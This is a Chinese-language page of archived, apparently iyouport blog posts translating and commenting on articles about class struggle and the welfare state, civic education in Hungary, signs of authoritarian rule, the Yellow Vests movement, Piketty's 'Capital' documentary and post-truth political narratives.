归根结底，这一切都是为了权力。左翼政策的前提是社会力量平衡的根本转变。今天劳工运动的主要短期目标必须是限制资本的力量，使经济受到民主的控制。这肯定不会通过社会对话、伙伴关系、契约、妥协或合作来实现，而是，要通过战斗和对抗才能实现。福利国家的历史告诉我们，资本从来不会心甘情愿地放弃权力。它必须被推回。
○

Class Struggle Built the Welfare State

原文

积极的公民身份可以改变你的国家 - iyouport

社会运动和公民社会

【2019年10月15日存档】实现民主；尤其是，维持住民主的生命力，需要做很多工作

教育和民主公民身份之间的关系是一个重要的议题。

政治变革可能被很多种因素所促进，但变革的结果究竟是不是走向民主、尤其是如何维护住一个新生的民主制度的生命力，需要做的工作比推动变革本身要更多。

其中教育是一个极为重要的部分。

民主的维护在于公民的积极参与和认知的清晰；新生民主社会往往不具备这一基础。如果能从变革前开始着手培养积极的公民意识，胜算也许更大。

这就是翻译这篇文章的原因。

本文来自 Kurt Lewin 基金会的 KatalinSzéger 与 Open Society Think Tank Fund 的 Andrej Nosko 进行的讨论，关于：积极的公民身份。

什么是积极的公民身份？

积极的公民身份意味着人们参与当地社区和各级民主，从城镇到城市，再到全国范围的社会活动。

积极的公民身份可以像义务清理街道的运动一样小，也可以像教育年轻人的民主价值观、技能和参与能力一样大。

积极的公民身份是迈向健康社会的最重要步骤之一，特别是对于新诞生的民主国家来说，比如匈牙利。

Kurt Lewin基金会在位于匈牙利东部的四所学校开展了一项为期一年半的研究和发展计划，研究主题是学校与民主公民之间的关系。

年龄在17至19岁之间（11至12年级）的学生和他们的老师参加了这项研究；该研究考察了积极的公民身份、民主价值观以及社会和政治态度在教育中的地位和影响。

该报告旨在研究学校如何作为培养学生积极公民身份的基地。

虽然匈牙利教育政策强调了以活动、责任和民主价值为基础的公民身份概念，但匈牙利年轻一代的观点和意见似乎正朝着不利于加强积极公民身份的方向发生变化。

因此，Kurt Lewin 基金会建立了一个研究和教育项目，一方面通过各种发展活动努力提高积极的公民身份，另一方面围绕积极的公民身份问题收集研究数据。

正如我们所理解的那样，积极的公民身份是知识、态度、技能和行动的结合，旨在为建设和维护民主社会作出贡献。

积极公民身份支持民主合作，其基础是接受普遍的人权和法治、价值观多样性，并包容整个社区。

事实上在我们共同的社会生活的各个层面上都能获得这种知识、发展和实践技能的教育，但学校在其中发挥着非常重要的作用。

我们越来越多地看到，在涉及到欧洲的问题时，需要采用极端的解决方案。

在这种情况下，积极的公民身份可以发挥关键作用，使公民能够审视问题的真正解决办法，而不是沉溺于极端者兜售的替罪羊、歧视和其他策略。

您的报告侧重于学校在积极公民身份中的作用；研究发现了什么？

我们关注学校组织文化和隐藏课程的影响如何着眼于学生的积极公民身份（隐藏课程指的是一套规则、规范、态度和行为，它不属于国家课程，但是学生可以通过社区/机构的生活和学习而获得，这是学校教育的一种副作用）。

我们在两所语言学校（一所由教会维护、另一所由政府维护）以及两所职业中学中进行研究。

一般来说，学生重视与同学的关系，但只有不到一半的学生能够与老师分享他们的问题。

对于少数民族来说，学生们没有表达出高度的团结。他们对政治、民主和社会问题感到失望。

学生们似乎更喜欢不那么民主、更强硬、和更专制的方法。

他们对任何政党都不感兴趣。

尽管如此，激进的极端政治观点通常比主流政党更容易被接受。

与学生相比，教师们似乎认为民主价值观更重要，更有可能拒绝反民主活动。但是，尽管如此，关于教师的调查所呈现的结果仍然是对政治的不信任和失望。

尽管有这些发现，总体上学生们仍然认为参与和承诺很重要，他们会欢迎学校更强大的社区生活。

通过我们的研究，我们发现教师 —— 出于许多不同的原因 —— 经常会回避讨论社会和政治问题。

如果没有一个开放的和鼓励性的环境让学生们讨论社会及政治经验和问题，这只能播下不安全感、恐惧感和混乱感的种子，并为学校以外经常提供的*偏执答案*开辟侵入途径。

公民教育在这里发挥着重要作用。

您为提高积极的公民身份提出了哪些建议？

需要制定教育计划以提高合作和沟通等能力，同时努力提高批判能力，减少偏见，建立宽容，理解，同理心和对多样性的开放环境。

在研究期间，开发了量身定制的计划来解决这些问题，并得到参与者的积极响应。现在需要更广泛的认可和实施。

世界上有哪些国家是积极公民身份的领导者或榜样？是什么让他们值得被效仿？

尽管不同国家和文化中的积极公民教育的定义存在差异，但我们可以说，在德国，尤其是西德和不来梅等城市，由于对积极的公民身份的促进，已经建立了至关重要的公民社会和政治文化。

有影响力的机构努力谴责排他性或极端主义态度。

在公共部门（学校、青年中心等）工作人员与年轻人联合，以打击专制态度并支持跨文化和民主能力的发展，在法律上和经济上都有强有力的官方支持。

虽然公民社会一方面致力于积极地影响政治，但政治组织和民间组织之间也在通过合作开展这些项目。

您说最近关于青年和积极公民身份的报告部分是为了回应“反民主思想”的增长 —— 这指的是什么？它们的影响是什么？

在匈牙利，近年来我们目睹了不容忍现象的急剧增加。

反罗姆人，反犹太主义，民族主义，种族主义和反同性恋的言论和活动都有所增加。

这些趋势的影响可以在很多年轻人的生活中找到。

我们最需要关注的是那些缺乏围绕年轻人所经历的各种体验进行讨论和组织教育计划的学校。

在我们的计划中，除了研究结果外，我们还提供可以在学校和政策制定层面提供帮助的解决方案。〇

- 〇 在上面链接中可下载36页的解决方案建议。希望能为中国的活动家和非政府组织提供一些灵感（据说中国的“在家教育”服务正在兴起，我们认为这是一个很好的趋势）。

Active Citizenship Can Change Your Country For the Better

原文

谁正在成为独裁者？这十点迹象帮你判断 - iyouport

社会运动和公民社会

【2020年5月14日存档】一人一票也能独裁吗？是的。

不要为当权者和他们控制的媒体的宣称所障目，他们宣称的 “民主” 有可能并不是真实的。《关于企业媒体如何用标签掩盖独裁》。

尽管去年一整年在黎巴嫩、香港以及整个欧洲和拉丁美洲发生了无数起民众起义和活跃的社会运动，但民主仍处于困境之中。

- 《“智能镇压”时代：民众抗议此起彼伏，但效果如何？》

全球各国正经历着专制统治的崛起，民主理想和实践的衰落。专制统治 —— 也称为独裁统治 —— 是指一个领导人或政党行使完全权力来统治一个国家及其人民。

自由之家说，2008年是民主达到顶峰的一年。那时，世界上完全“自由国家”的比例最高，达到46.1%。之后便开始滑坡。

民主的定义各不相同。理论上，民主国家的所有公民都应该有能力在选举中投票，选举应该是自由和公正的。独立的媒体、言论自由、和集会自由、以及法治，应该是当代大多数民主观念中的特征。

在民主集中度最高的地区，民主下降最为明显。其中包括欧洲、北美和拉丁美洲。

一个例子：美国在2018年被评为“有缺陷的民主国家”，在167个国家和地区中从第21位下降到第25位。

- 《不论政府关闭与否，警察国家都将继续蓬勃发展。还可以怎么办？》

在过去，独裁者经常通过军事政变和暴力镇压来掌权。而现在，是温

水煮成为典型了：从民主向专制的转变更加缓慢、且很难察觉。

尽管对维稳部队的控制在专制剧本中仍然是至关重要的，但强硬的战术并不是必需的。*Pro-democracy protests, like this one in Hong Kong on Nov. 13, 2019, have erupted across the globe during a rise in authoritarian rule. AP*

10个特征清单

当今具有独裁倾向的领导人不仅对利用蛮力上台的感兴趣。

他们甚至更聪明，更有弹性，并且可以调整自己的方法以充分利用诸如现代技术和全球化经济之类的新发展。

以下是准独裁者使用的一些最新策略：

1、扩大行政权力

当今威权主义的主要力量是增强权力、同时削弱有制衡能力的政府机构，例如议会和司法机构。

关键是他们使用法律手段（而不是非法手段），最终为夺权提供民主合法性。

极端的形式包括修宪以取消领导人任期限制，比如中国和其他国家；以及类似土耳其进行的那种渐进式宪法改革，以扩大总统的权力。

2、压制异议和任何公民的努力

对资金的限制和其他官僚主义限制使人民追究当权者的能力基本丧失了。

超过50个国家/地区通过了扼杀公民团体的法律。

民主国家也在这一潮流中跃升。限制公众抗议、拘留抗议者、过度使用武力破坏和平示威，都是经常使用的手段。

- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》
- 《“智能镇压”时代：民众抗议此起彼伏，但效果如何？》
- 《我被警察折磨至精神崩溃：现在我必须爬起来战斗》

3、获取精英支持，并在需要时采取妖魔化策略

经济增长和繁荣对于保留精英或寡头对专制领导人的支持来说至关重要。

无论是通过国有企业、媒体集团、还是政府与自由市场公司之间更复杂的联系，金钱和政治，都转化成了富人对政府的青睐，这是民主的有毒成分。

具有讽刺意味的是，民众对精英腐败的厌恶是如此之高，以至于现代专制民粹主义者，例如 巴西总统贾尔·博尔索纳罗（Jair Bolsonaro），甚至能站在反腐败的虚假承诺角度上掌权。

4、呼吁民粹主义和民族主义

今天，大多数准独裁领导人利用复杂社会中现有的紧张局势来巩固他们的支持。

在许多地方，对移民和难民的恐惧加剧了复兴的民族主义，推动了英国脱欧等政策。在印度，基于宗教的民族主义保持了纳伦德拉·莫迪总理的权力。

- 《为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？》

还包括树外敌，通过谴责外来力量来解决本国的问题，例如 匈牙利领导人维克多·奥本（Viktor Orban）妖魔化乔治·索罗斯（George Soros）—— 匈牙利出生的慈善家他支持民主建设，这种情况也很普遍。中国也是这么做的，中国的民族主义风格大家都清楚。*India's Prime Minister Narendra Modi has maintained power in part based on religious nationalism. AP*

5、把一切信息控制在国内，禁止传播出境

尽管政治宣传和国有媒体并不是新生事物，但是，使用现代技术控制信息这一领域已成为关键战场。

中国已经开发出先进的技术来审查和防止政府不喜欢的任何信息的传播、并追踪社会中的每个人。

- 《中国的反乌托邦监视国家是美国制造的》

俄罗斯在国内生产虚假信息的同时处于国家媒体控制的先锋地位。

- 《毒霾—监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别（长篇报告）》

许多较小的国家/地区使用完全的互联网中断来阻止社会运动的组织和沟通。

- 《如何用指标预测互联网中断？一旦断网还可以怎么办？》

6、削弱反对派

尽一切办法破坏反对党，尽管不能完全摧毁他们。

在独裁者的剧本中，渗透、增选成员、并采用纯粹的恐吓手段都是常见的。这样做的目的是保留虚假的政治竞争目标，同时也阻碍了新的、更民主的力量获得吸引力的潜力。

7、秘密选举操纵

操纵权力和购买选票作为通往权力之路的日子已经大多过时了。

如今，可能的独裁者已经找到了更聪明的方法来倾斜竞争环境以利于他们自己。

这些新策略包括阻碍媒体访问，管理、改变选举和选民资格规则、以及将盟友置于选举委员会中。

还包括算法暴政的操纵。

- 关于谷歌如何操纵选举《看不见的独裁》
- 而且这种操纵还可以是跨国的《硅谷巨头如何利用算法操纵墨西哥选举？》

8、随意操纵 “紧急状态”

一些专制领导人继续使用传统的强力手段，例如 宣布进入紧急状态，以进一步实施镇压。

自2001年以来，利用所谓的 “恐怖主义” 或 “有组织犯罪” 的威胁以促进专制统治的伎俩，发挥了明显的作用。

- 宣称活动家是 “恐怖分子”的结果《我被警察折磨至精神崩溃：

现在我必须爬起来战斗》
- 中国政府说它在新疆“反恐”，其结果发生了什么，大家都知道《开源调查图解新疆”再教育”营》
- 所谓的有组织犯罪是当权者对民间反抗者采取压制政策的典型手段《“帮派数据库”是什么？为什么据此就可以直接给无辜的市民定下重罪？》

其中之一就是著名的罗德里戈·杜特尔特（Rodrigo Duterte）的毒品战，在菲律宾已至少造成数千人死亡。

- 别忘了，谁在资助这场宏大的谋杀？—— 美国和中国《走进暗杀之城》

再比如，自2016年的未遂政变以来，直到2018年，土耳其一直处于紧急状态，这使得总统雷杰普·塔伊普·埃尔多安（Recep Tayyip Erdogan）可以将大批的学者、政府官员、媒体记者、和人权倡导者扔进监狱。

9、扩展模型和影响力

利用国际舞台和不断发展的经济实力，像中国这样的国家正在通过“一带一路”等融资计划来扩大其影响力，以在整个亚洲乃至欧洲建设基础设施。

他们正在聘请专业顾问来为外国资本提供咨询和游说，以增强其实力。

- 《中国的监视技术如何沿着一带一路铺展》

10、独裁者互相学习并分享经验

是的，他们互相模仿、互相帮助。

这种现象被学者称为“专制学习”，俄罗斯、中国、伊朗、委内瑞拉、白俄罗斯、叙利亚、和其他地方的国家主管部门正在开发和互相交换模型，以遏制社会运动和所谓的“颜色革命”的威胁。

国际会议和政府间俱乐部可以提供交流平台。例如，柬埔寨首相洪森（Hun Sen）成功地召集了邻国政府，以利用地区组织东盟（ASEAN）帮助压制反对他的统治的任何行为。马来西亚政府官员最近阻止柬埔寨反对派成员通过马来西亚返回本国。

方向未知

一些专家声称，世界正处在一个“临界点”，民主的减少正在推动全球专制统治的崛起。

当今的社会运动激发了公民社会的希望 —— 这是民主的关键要素 —— 尽管面临压力，但仍在努力应对潮流。

尽管如此，即使是今天最成熟的民主国家也沦为了准独裁者策略的牺牲品，在全球范围内加强民主暂时不可能。〇

作者 Shelley Inglis 在联合国工作过15年，就如何加强法治、人权和民主治理向政府和民主倡导者提供建议。现在是国际法学者。

下图中这本书在这里下载：https://t.me/iyouport/6914

原文

黄背心错失的机会 - iyouport

社会反抗和思考社会运动和公民社会

【2019年10月10日存档】黄背心出了什么问题？为什么这场如此强大的抗议运动会以失败告终？

黄色背心运动（Gilets jaunes）始于2018年11月。在法国首次进行街头行动之前，一名公众在网上公布了一份反对燃油价格上涨的请愿书。

近百万人签署了这份请愿书 —— 这是战后法国持续最长时间的社会运动发起的跳板。截至目前法国各地的每周示威活动仍在进行中。

2017年政府决定将乡村道路的速度限制从每小时90公里减少到80公里，这是黄背心抗议上升的另一个因素。对运动表示同情的人们认为政府未能理解完全依赖汽车的农村居民的需求。

这项运动很快进一步展示出以抵制高生活成本为中心的“进步”性质。

黄背心要求重新引入财富税（认为税收对工人阶级和中产阶级来说是不公平的）、要求最低工资的增加，或者公民倡议公民投票的实施。

抗议者很快瞄准了政治领导人，并要求马克龙总统辞职。

“无可取代”

除了放弃增加燃油税的决定外，马克龙没有采取任何措施来回应运动的说法，也没有缓解公众的不满情绪。

他基本上重申，他的新自由主义经济政策无可取代，并授权警察采取暴力镇压示威者。

在这里看到多视频长篇报道《现代维稳战术一瞥》，以及运动分析《他们不关心你的死活，因为他们是1%》。

法国历史上持续时间最长的社会运动（并且参与者数量最多），这本

身就是一种新的社会学现象。

黄背心参与者大部分都是新手，没有应付武装镇压的经验。他们不是政党或工会的成员，大多数人不投票，他们拒绝根深蒂固的左/右分裂。

黄背心参与者大多有工作，但是他们很难维持生计。他们大多是中年人，生活在农村或城郊地区。女性在抗议者中的代表性很强，但这一运动中白人的数量是压倒性的。

黄色背心确实是纯正的法国特色，未能吸引种族背景的人口，他们主要集中在城市地区。

该运动最基本的特征是它对代议制民主的厌恶：黄背心鄙视职业政治家并将其描述为“腐败”和“无能”。

他们还希望远离左派和工会。简而言之，他们只相信自己才能进行重大的社会和政治变革。

但是，如果不寻找盟友并制定具体的政治结果（例如，与有组织的进步力量结盟或参加选举）如何才能实现这样雄心勃勃的目标呢？

两个同心圆

黄背心采用高度时尚的—也是简单化的—民粹主义观点，根据该观点，社会在“人民”（绝大多数公民）和“精英”（即优势阶层的1%）之间分配。

对职业政治家和政治代表的明显厌恶并没有阻止一些黄背心任命自己的运动“发言人”：Priscillia Ludosky（2018年5月开始在线请愿），ÉricDrouet 或 Maxime Nicolle 甚至因为错误的原因成为媒体明星和家喻户晓的名字。（Drouet 和Nicolle 在社交媒体上宣传了极右翼阴谋论）

当两个小派系组织决定在上次欧洲选举中列出候选人名单时，他们立即被其余的运动排斥了。

结果是嘲弄性的：一份名单得到0.7%的投票份额，另一份得到0.5%。当他们投票时，大多数黄色背心的支持者选择了马琳勒庞的极右翼全国拉力赛。

这真的很令人惊讶吗？调查显示，实际上有两个同心圆的黄色背心抗

议者：核心 —— 每周上街 —— 在经济上是进步的，在文化上相当宽容；这是该运动的公众形象。

但是这个“左翼”组件还有其他部分。一大群支持者，在运动中不那么活跃，是出于对特定物质利益的保护（燃料费增加、速度限制、遏制移民等问题）。

因此，黄背心的反制度和反建制言论与这些重大问题的结合在很大程度上与勒庞的反欧盟、反移民和反精英语话兼容了。

出了什么问题？

简而言之，如果运动在论证的社会和经济方面提出了非常好的建议，它就无法吸引大量的受薪工人（蓝领和白领）、以及失业者、年轻人、和种族化的人口。

今天的运动最终失败的原因显而易见：群起反抗抵制一个傲慢的右翼总统的想法可能在很短的时间内对大多数法国人来说是浪漫的刺激的，但它不足以形成一场真正的政治运动。

每个星期六在法国各地示威的人最终只代表自己。

大多数情况下，法国工人如果不对那些没有提供任何适当的危机解决方案的示威者不耐烦，很快也会感到无聊。

黄背心运动，远非能做到帮助弱势和名誉扫地的法国左翼，实际上，它们进一步加深了其危机。

自第一天起公开支持该运动的让—吕克·梅伦钦（Jean-LucMélenchon）在欧洲选举中的表现就非常糟糕。

他的运动“法国不屈服”获得了6.3%的选票（远低于他在2017年总统选举中的19.6%）；Le Pen 占23.3%，陷入困境的 Macron 仍占22.4%。

5月27日至28日发布的IFOP民意调查结果令人担忧：在2017年总统大选第一轮中投票支持 Mélenchon 的人中有38%、在欧洲选举中投票支持“法国不屈服”的人中有58%、以及计划在2022年总统大选中投票支持 Mélenchon 的人中有 61% —— 这次他们将投票支持勒庞，如果她在2022年的第二轮选举中对战马克龙。

法国的选民在意识形态和政治上都如此的混乱和愤怒，以至于大量左

翼选民向极右翼的转变现在是一个明显的可能性。

为反思黄背心的失败，请考虑我们曾经提出的以下策略：

- 单纯的抵抗现状真的有效吗？—— “你永远不可能仅仅通过对抗现有的现实来改变这一切。要改变某些东西，你必须建立一个新的模型，使现有模型过时”—— 《预设性干预战术》；
- 激烈的情绪很容易在短时间内充满魅力，但问题在于，它不仅仅是无法保持住 —— 愤怒是有力的。但要明智地使用它。如果你能占领道德制高点，愤怒才能是引人注目的，人们会加入你。如果你不这样做，你的愤怒会看起来像自以为是的歇斯底里…《不要让你的对手定义你》；
- 抗议的目标是赢，是实现政治变革，表达性的抗议活动是做不到这点的 —— 《抗议行动不是广场舞：表达性和工具性的矛盾》
- 此外，缺乏种族身份的联盟也是明显的弱点，详见《盟友的光谱》

中国异议人士一直在呼吁上街，但是，上街显然不是终极目标；如果你不能让人们深刻体验到上街能实现什么 —— 简曰：未来是什么样 —— 你就很难真正做到凝聚力量，不论你的理论有多出色。

最后回顾一些建议《给活动家的建议：如何让你们的行动变得更强大》、《我们可以维持吗？ 如何将政治抵抗的热情转化为一个公民参与的新时代》。

France: The Yellow Vests’ Missed Opportunity

原文

“21世纪的资本”：一部讲述我们如何陷入困境的纪录片 - iyouport

免费书和纪录片社会反抗和思考

【2020年10月23日存档】非常出色的一篇文章，值得推荐。您也许仍然感觉对BLM抗议运动无法理解，或者甚至难以理解某些美国影视剧中的深意，但是，也许无法否认的是，一个新的时间正在开始 ……

“精英们掌权的方式，是将他们的特权传给自己的下一代，是通过塑造我们这些普通人的思维方式来实现的。”

您可能已经从DSA的推特账户中听到过这句话。但是，在刚刚发布的一部新纪录片《21世纪的资本》的开头，从 Gillian Tett 口中说出这句话时，听起来就不一样了 ……

Tett 是《金融时报》的美国编辑部负责人，这份鲑鱼色的国际商业报纸，从伦敦流行到迪拜再到新加坡，德意志银行的副总裁们都会阅读。每个月FT都会出版一本名为 “如何消费” 的杂志。

“21世纪的资本” 这部片子是根据法国经济学家 Thomas Piketty 2013 年的畅销书改编的。这部由 Justin Pemberton 执导的电影，以一种特别睿智和含蓄的方式，曝光了世界精英们的这种核心力量 —— 塑造我们所有人的思维方式。

与《21世纪的资本》主题相同的纪录片还有很多，即：0.1%的人的崛起和其他所有人的陨落。而它们大多是一连串的图表和数字，让你觉得自己中午喝了三杯喜力酒，想打个盹 ……

”资本” 这部片子则没有这样做。相反，它只是讲述了一个故事 —— 资本主义的百年故事。

这使得它在大众文化中独树一帜。尤其是，它不是用干巴巴的单调、而是通过影片中接连不断的片段来实现的。

资本主义的故事是每个人生活的核心现实。但它并没有在高中课堂里教给你；电视上也没有这些东西。如果你仔细想一想，这确实很奇怪，然而，正如泰特在其他地方所解释的那样，你不可能会这样去想。

所有的社会都会对社会最重要的主题保持人类学家所说的 “社会沉默”。正如 Tett 所说，最重要的事反而 “没有被讨论，因为这些话题被认为是无聊的、不相关的、禁忌的，或者只是不可想象的”。

- 《摆脱操纵和宣传：28个长期技巧》

“21世纪的资本” 很明白，对大多数人来说，关于资本主义的日常事实似乎很无聊，或者无关紧要，因为它们不是一个故事的一部分；就好像，当你对棒球的规则、球队或历史一无所知时，比分就没什么意义了对吧。

了解资本主义的故事就像了解棒球的所有这些，再加上这支球队致力于这一目标，并深刻地意识到，如果你的队输了，你就会死。这使得竞争更加精彩。

该片一开始就回到了250年前，资本主义第一次通过工业革命获得动力的时期。在此之前，欧洲是封建的，国王、公爵、伯爵、侯爵夫人一窝蜂地以垄断土地的形式掌握着大部分财富。

但工厂产生了新的、反叛的财富。美国革命和法国革命在一定程度上都是旧的封建精英和新的商业精英之间的斗争，新的商业精英正在挣扎着诞生。

虽然新旧精英在谁应该掌权的问题上意见不一，但他们都同意 —— 普通人不应该掌权。

虽然没有人记得这一点，但即使是 1848年 的《共产党宣言》也承认了资产阶级的成就：“资产阶级是第一个显示人的活动能够带来什么的阶级。它所完成的奇迹远远超过了埃及金字塔、罗马水渠和哥特式大教堂。”

问题是，在追求利润的过程中，资本主义也产生了惊人的新的剥削形式。“21世纪的资本” 花了很多时间来举例，比如 奴隶制的大规模扩张、欧洲殖民主义的凶残肆虐、英国的 “主仆” 法规定工人辞职是违法的 ……

这部电影关于这个时代的关键点在于，不受约束的资本主义让国家整

体上变得更加富裕，但是，它的内在并没有改善普通人的生活。事实上，对普通人来说，在很多方面都比被贵族治理的时代更糟糕了。

Piketty 解释说，到了1914年的巴黎，**1%**的上层人士已经拥有**70%**的财富，三分之二的人口直到死也一无所有。

面对这种原始的残酷，各种替代方案 —— 从共产主义到社会主义再到乔治主义 —— 在欧洲各地获得了信徒。资本家们被吓坏了。他们做点什么才能不需要他们分享任何财富或权力？

“你会看到这种民族主义和欧洲国家之间竞争的上升，民族主义常常被精英们用来让人们忘记阶级冲突，而专注于民族认同”，Piketty 说。

欧洲统治者有意识地煽动狂热的民族主义，以分散人们对统治阶级失败的注意力，这一点可以进行辩论。如果说现今的政治借鉴了什么的话，那就是，他们很可能完全知道自己在做什么。

最近，一份为共和党办公人员准备的关于如何应对其在冠状病毒问题上栽跟头的备忘录告诉他们，”不要为特朗普辩护” —— 因为他是无法辩护的 —— 而是：“攻击中国”。

无论如何，当第一次世界大战到来时，欧洲的领导人认为这正是他们所需要的。一个英国政治家宣布英国 “不分党派或阶级” 地处于战争状态。德国君主也同样高兴，宣称：“我不再看到任何党派, 我只看到德国人”。

这场战争是一场灾难，它产生的正是欧洲精英们最担心的事：共产主义革命。德国在1917年将弗拉基米尔·列宁送回俄国的狡猾计划，成为了历史上最大的目标，直接导致28年后苏军占领柏林。

正如 “资本” 这部片子所解释的那样，随着第二次世界大战的世界性屠杀，资本主义才愿意做出一些改变。

首先，上层阶级已经真的炸掉了大部分资本，其权力处于低潮。此外，正如斯坦福大学政治学教授弗朗西斯·福山所指出的，他们真正担心失去一切：“共产主义替代方案的存在吓坏了资本主义世界，使他们认为如果不至少解决一些基本的不平等问题，他们就会输掉这场思想之战 …… 除非国家试图在就业方面做点什么，并做足够的再分配来防止人们挨饿，否则，你就不会有基本的社会稳定。”

这招果然奏效。影片说，大约30年，社会意识到 “必须像驾驭野马一

样驾驭资本主义”。这一时期，普通工人的财富大幅增加，出现了历史上第一个广泛的中产阶级。

这种情况持续了足够长的时间，以至于很多人开始相信这是资本主义的自然状态，而早先的时代是一种“反常现象”。

但随着第二次世界大战的远去，资本主义发起了反击，美国的罗纳德·里根和英国的玛格丽特·撒切尔当选，他们传递的信息是：20世纪的问题并不是资本主义拒绝与人类妥协，而是问题在于资本主义做出了一些妥协。

共产主义的全面崩溃，使资本主义的胆子进一步增大。事后看来，二战后几十年的中产阶级资本主义是畸形的，至少从20世纪90年代开始，我们已经回到了资本主义的常态。

这就是 Piketty 害怕的地方：我们准备以某种可怕的变异形式重演20世纪。

“总有一些政客受到诱惑，想利用不断上升的不平等现象”，他说。“你可以在1914年之前的世界上非常清楚地看到这一点。而在21世纪初，我非常害怕，因为我们觉得自己无法监管国际资本主义，无法对亿万富翁和跨国公司适当征税，反而将怒火发泄在其他目标上”。

国会和特朗普政府以新冠状病毒为借口，通过了复杂但利润极高的税收减免政策，“只是把钱塞给富人”，现在误导性愤怒的危险比电影拍摄时更加明显。

“21世纪的资本” 的故事就到此为止。“街上的人们开始说，够了。已经有足够多的不平等、却没有一个关于这一切如何才能变得更好的故事”，记者 Paul Mason 说。

这部电影和 Piketty 对于这类关乎未来的故事有真实但有限的建议。但他们为人们做了一项巨大的服务，帮助我们看到了我们是如何走到今天这一步的，这是我们弄清楚下一步要去哪里的前提。〇

“CAPITAL IN THE 21ST CENTURY”: FINALLY, A MOVIE THAT TELLS THE STORY OF HOW WE GOT INTO THIS MESS

原文

“你的” 叙事 - iyouport

社会反抗和思考

【2020年7月16日存档】每个人都生活在 *自己的* 真相和现实的小隔间中，这种情况下如何继续保持共和？

“叙事” 这个词正处于政治鼎盛时期。政治家需要在对手为他们辩护之前确立 *自己的* 叙事。他们需要对其进行更改或查找、测试或否认。

我们生活在相互竞争的叙事的愤怒争吵中，每一个叙事都试图粉碎、压缩、摧毁、和歼灭其他叙事。

但是，他们并不是采用老式的科学经验和理性方法，也不是采用法庭上的直接和间接证据。

Justin E.H. Smith 在《Irrationality: A History of the Dark Side of Reason》中描述了特朗普当选之后直到目前，这个充满火药味的竞争性叙事的舞台。在选举中，这意味着 “共同预设的共享空间几乎完全消失，人们的争论建立在这些差异之上。”

曾经所有人共享的同一个空间，现在变成了数以百计的小空间气泡，其中一些在社交媒体中仅仅短暂碰撞，而长时间完全忽略了其他空间的存在。

我们现在都处在 *自己的* 真相和现实的小隔间中。

叙事要么引人入胜，要么无人问津。是否有民主党候选人像特朗普一样活跃在舞台上？Elizabeth Warren 的许多计划是否能像特朗普的一则推文那样吸引人？批判性推理还存在吗、还是社交媒体 “大腕” 抢占了所有舆论空间？

正如 McLuhan 所言，媒介没有任何预兆，即 消息传递会从现实中过渡到一种超现实的状态，在这种情况下，许多模仿者取代了 “消息传递” 的含义。

追溯到20世纪，实用主义者 Richard Rorty 放弃了哲学通往真理的道路，因此对他来说，真理成为他同时代人所允许的一切。

我们现在所处的这个空间中能让所有人都同意真理的概念，但是如今的人们已经距离 Rorty 的 “同时代人” 范畴相去甚远 —— 您居于网络空间一角的真理始终是您在那个极小的地盘里面的同时代人的共识；如果您不同意那个小空间里的其他人，您就不会在那里。还有数不胜数的其他网络角落都驻扎着各自 “私有的真理” 认同者。

正如 Benedict Anderson 所描述的那样，这种 “各自为营” 的状况既不是社会所创造的，也不是一种文化，而是一种 *想象中的社区* 所产生的整个生活方式。

- 《社区应该是什么？是谁在玩坏这个概念？》

Benjamin Franklin 肩负的任务是，思考在这种情况下如何继续保持我们的共和？

因为如今的人们更接近公司资本主义国家和市场原教旨主义国家，这两者都会导致所有人的思想和行为笼罩在网络技术监控之下，两者都以高科技专制取代了自由民主，完全可以说共和制没有保住。

如果某些共同的 *想象中的社区* 可以从中诞生一个功能性社会，那么这种文化将使恢复成为可能。但是，再次不幸的是，以前被公认和被理解的论点、摘要、案例、以事实为依据的立场，现在都变成了 “叙事”，他们没有寻求证明自己，而只寻求参与，网络空间的超现实性旨在仅仅提供那种 点赞/表情符号” 的互动。

那种思维跳跃充斥了经验和感觉，没有任何深思熟虑的习惯。只有假新闻和另类事实，不再是理性的观点，而是 “叙事”。

如今已经走到这步了，但没人知道是如何走到这步的，尽管自六十年代以来真相和现实的基础一直在被侵蚀。

后现代性引起的现代性困扰之一是语言学：与世界相连的言语没有确定的方式，而是漂浮在一种文化环境中，文化赋予它们以含义。书面上的文字已经不在书面上，而是在所有层面的联系上不断发生变化。

James Joyce 曾将这种互文性称为 “ portmanteau 混成词”，好像每个单词都是一只长途跋涉后的旧旅行箱，上面贴着各自地名的贴纸。

在这样的条件下，如果人们想要为在指称者和被指称者之间建立固定

的、毫无争议的联系而进行防御性的写作和讲话，这场斗争注定要失败，因为文字本身很自然地在这种强制措施之外 “浮动”。

因此，这种巩固意义的尝试遭到了破坏，只能指出一个词覆盖了哪些点，却逃脱了我们致力于将语言与世界保持可靠关系的努力。

但为什么呢？在后现代的观点中，词语不仅意味着其本身的意思，而且还意味着在特定环境中的含义，例如一种文化，其本身具有某种意义的层次结构，从道德、政治到家庭和个人，在每个类别中都具有优先级。

如果被认可和被接受的意义和价值的基础分裂，然后像细胞一样一次又一次地分裂，那么价值和意义的共享核心就会破裂，因为它们从中出现的环境会破裂。

言语可以在任何地方浮动，但总是在已经存在的谈话、故事和真理的层次中。意义的可靠性就在于此。当形势发生变化，以至于合理情况不再是人们普遍认可和接受的想象核心而是臆断时，就会出现这种情况 —— 一份笔录被一些人认为 “完美”，而被另一些人读出了犯罪。

简而言之，我们可以在自己所在气泡中写下和谈论一切对我们自己意味着什么，而其他人生活在不同的气泡中，而对于他们则意味着完全不同的事。

可以这么说，人们已经不再在同一页纸上，而在同一页纸上对于达成共识是至关重要的。

但是，这种混乱的制衡机制在这个后真相时代并没有根深蒂固，因为人们对个人自主权和个人选择自由的幻想深深地依恋。现在，我们仅通过主张我们自己的个人决定的权威来捍卫自己，反对那些与自己不一致的任何真相。

后现代没有预见的是现实条件从离线世界向在线世界的转移，在这种运动中现实世界的制衡机制陷入了意识的领域，言语和世界联系的点可以自我验证，而无需外部审查或破坏。

简而言之，网络空间再次创造了一个空间，在这里，所有个人对现实和真理的发现都可以蓬勃发展，而不会被传统上称为 “经典/真理/方法论、理性和现实” 的东西所否认或消除。

每一条推文都站在自己圈子的立场上，每一个词的含义都是 **“I say it means.”**

“共同前提的共享空间几乎完全消失”不是由特朗普当选而造成的，而是以前就存在的，只是他就将其带入了全国范围。

上图中这本书可以在这里下载：https://t.me/iyouport/6903

在一种深深关注个人而非抽象、致力于吸引名人而不是思想的文化中，这是政治的祸根，特朗普的崛起标志着这种转变。

